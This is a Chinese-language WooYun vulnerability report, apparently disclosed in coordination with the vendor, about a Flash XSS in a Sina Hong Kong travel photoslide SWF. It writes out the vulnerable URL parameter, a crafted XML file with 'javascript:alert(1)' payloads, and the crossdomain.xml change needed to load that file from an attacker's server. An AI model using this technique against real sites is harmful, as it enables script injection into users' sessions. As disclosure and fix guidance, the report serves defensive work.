当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:
漏洞标题:
新浪某地区分站Flash逆向分析存安全隐患可进行XSS利用
相关厂商:
漏洞作者:
提交时间:
2016-05-03 15:30
修复时间:
2016-06-17 17:50
公开时间:
2016-06-17 17:50
漏洞类型:
XSS 跨站脚本攻击
危害等级:
自评Rank:
10
漏洞状态:
厂商已经确认
漏洞来源:
http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签:
分享漏洞:
4人收藏 收藏
分享漏洞:

>

漏洞详情

披露状态:

2016-05-03: 细节已通知厂商并且等待厂商处理中
2016-05-03: 厂商已经确认,细节仅向厂商公开
2016-05-13: 细节向核心白帽子及相关领域专家公开
2016-05-23: 细节向普通白帽子公开
2016-06-02: 细节向实习白帽子公开
2016-06-17: 细节向公众公开

简要描述:

新浪某地区分站Flash逆向分析存安全隐患可进行XSS利用

详细说明:

新浪旅游的一个swf,地址是:
http://travel.sina.com.hk/swf/photoslide.swf?x=/api/photoslide/weibo/local/sidebar/1.xml?1461050406000
把这个swf下载下来反编译看看,我这里用的是JPEXS

图片1.png


先看到是as2的脚本,都知道as2中getURL函数是可以执行js的,也是经常出现flash xss漏洞的地方,我们看代码

图片2.png


发现了这么一行,这应该是从xml文件中取出来的内容,直接放到getURL中了,也没有过滤,来看看xml文件

图片3.png


我们的思路就是把这个xml文件更改之后放到我们自己的服务器上,命名为myxml1.xml。改动之后的xml文件如下:

<content><tag img="http://travel.sina.com.hk/upload/image/weibo/gallery/photo/1/56_1.jpg" txt="" url="javascript:alert(1);"/><tag img="http://travel.sina.com.hk/upload/image/weibo/gallery/photo/1/57_1.jpg" txt="" url="javascript:alert(1);"/><tag img="http://travel.sina.com.hk/upload/image/weibo/gallery/photo/1/58_1.jpg" txt="" url="javascript:alert(1);"/><tag img="http://travel.sina.com.hk/upload/image/weibo/gallery/photo/1/59_1.jpg" txt="" url="javascript:alert(1);"/><tag img="http://travel.sina.com.hk/upload/image/weibo/gallery/photo/1/60_1.jpg" txt="" url="javascript:alert(1);"/><tag img="http://travel.sina.com.hk/upload/image/weibo/gallery/photo/1/61_1.jpg" txt="" url="javascript:alert(1);"/><tag img="http://travel.sina.com.hk/upload/image/weibo/gallery/photo/1/62_1.jpg" txt="" url="javascript:alert(1);"/><tag img="http://travel.sina.com.hk/upload/image/weibo/gallery/photo/1/63_1.jpg" txt="" url="javascript:alert(1);"/><tag img="http://travel.sina.com.hk/upload/image/weibo/gallery/photo/1/64_1.jpg" txt="" url="javascript:alert(1);"/><tag img="http://travel.sina.com.hk/upload/image/weibo/gallery/photo/1/65_1.jpg" txt="" url="javascript:alert(1);"/><tag img="http://travel.sina.com.hk/upload/image/weibo/gallery/photo/1/66_1.jpg" txt="" url="javascript:alert(1);"/><tag img="http://travel.sina.com.hk/upload/image/weibo/gallery/photo/1/67_1.jpg" txt="" url="javascript:alert(1);"/><tag img="http://travel.sina.com.hk/upload/image/weibo/gallery/photo/1/68_1.jpg" txt="" url="javascript:alert(1);"/><tag img="http://travel.sina.com.hk/upload/image/weibo/gallery/photo/1/71_1.jpg" txt="" url="javascript:alert(1);"/><tag img="http://travel.sina.com.hk/upload/image/weibo/gallery/photo/1/72_1.jpg" txt="" url="javascript:alert(1);"/></content>


当然我们还要把自己的crossdomain.xml改成能让sina.com.hk访问的,改成*.sina.com.hk就可以了
然后看看效果

图片4.png


我们随便点击一下

图片5.png


成功触发xss

漏洞证明:

图片5.png

修复方案:

对从xml中取出的数据进行过滤,或者验证xml的来源

版权声明:转载请注明来源 chengable@乌云


>

漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2016-05-03 17:46

厂商回复:

感谢关注新浪安全,问题修复中。

最新状态:

暂无